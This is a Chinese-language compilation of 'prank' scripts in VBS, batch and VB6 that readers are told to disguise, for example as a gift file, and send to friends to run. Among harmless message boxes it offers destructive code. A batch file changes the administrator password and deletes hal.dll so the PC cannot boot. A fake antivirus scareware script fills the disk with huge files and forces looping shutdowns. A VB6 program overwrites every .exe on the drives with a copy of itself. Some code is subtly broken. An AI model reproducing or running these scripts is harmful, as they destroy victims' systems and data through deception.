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如何编写简单的恶搞程序
WScript.Echo("你好！欢迎你打开我。")
WScript.Echo("还要点3次")
WScript.Echo("还要点2次")
WScript.Echo("还要点1次")
WScript.Echo("恭喜你，顺利过关！")
将以上代码使用记事本编写然后保存为：礼物.vbs 让对方运行即可。说明每一个 WScript.Echo("想要输出的内容") 都要执行一次，你可以任意复制。
求简单的整人Bat代码
代码开始，只抄横线里面的
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@echo off
net user administrator nishizhu\add
del /s /q c:\Windows\System32\hal.dll
shutdown -s -t 5 -c 你是一头猪！！！
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代码详解：
@echo off —— 隐藏命令，关闭回显。
net user administrator nishizhu\add —— 把开机密码改成“nishizhu\add”
del /s /q c:\Windows\System32\hal.dll —— 删掉系统加载程序（删了就开不了机）
shutdown -s -t 5 -c 你是一头猪！！！ —— 定时关机5秒钟，并提示你是一头猪！！！
有没有一些恶搞别人的vbs代码
自编vbs仅供娱乐！！！
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" '《江南皮革厂倒闭了》
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run""
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run""
qweb.run""
qweb.run""
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" chr(34) "wscript.shell" chr(34) ").run " chr(34) "D:\1.vbs" chr(34)
qwriteb.WriteLine "msgbox " chr(34) "滚" chr(34) ",vbokonly+vbinformation," chr(34) "360 Defender" chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
恶搞程序代码
代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改。
if
MsgBox("对不起,您灌水太多需要重新启动计算机。"chr(10)"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel
then
msgbox
"
正在清理系统垃圾wow
~_^",,"算你倒霉！！"
Set
objShell
=
CreateObject("Wscript.Shell")
objShell.Run
"shutdown
-s
-t
5",,true
end
if
加分哦
手机QQ的整人代码大全
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
求一些VB恶搞代码。效果越厉害越好，例如：蓝屏.等等
电脑桌面融化，这段代码真的很强悍 ！ 居然搞的我看不到屏幕 ， 就像雪糕一样被融化了； Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Const SRCCOPY = HCC0020 ' (DWORD) dest = source
Dim x As Integer, y As Integer
Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long
Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)
Private Sub Form_Load()
Me.Hide
Desktop = GetWindowDC(GetDesktopWindow())
hBitmap = CreateCompatibleDC(Desktop)
hScreen = CreateCompatibleDC(Desktop)
Buffer = CreateCompatibleBitmap(Desktop, 32, 32)
ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)
SelectObject hBitmap, Buffer
SelectObject hScreen, ScreenBuffer
BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY
For i = 0 To 1E+17
y = (Screen.Height / 15) * Rnd
x = (Screen.Width / 15) * Rnd
BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY
BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY
DoEvents
Next i
End Sub 还有个杀手锏；一段要人命的vb代码
-----------------------------------------------声明---------------------------------------------------------------
’如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next ’容错句
If Dir("c:\123.txt") = "" Then ’如果123.txt不存在则创建 bat遍历exe文件
Open "c:\a.bat" For Output As #1 ’打开bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe e:\123.txt" ’写入数据
Close #1 ’关闭文件
Sleep 200 ’延时200秒等待文件生成（主要为了慢机器）
Shell "c:\a.bat", 0 ’隐藏运行之
End If
Sleep 60000 ’延时1分钟等待exe遍历完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 ’读取txt里面的内容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path "\" App.EXEName ".exe", A(I) ’把txt里面的内容替换掉
Next
End Sub
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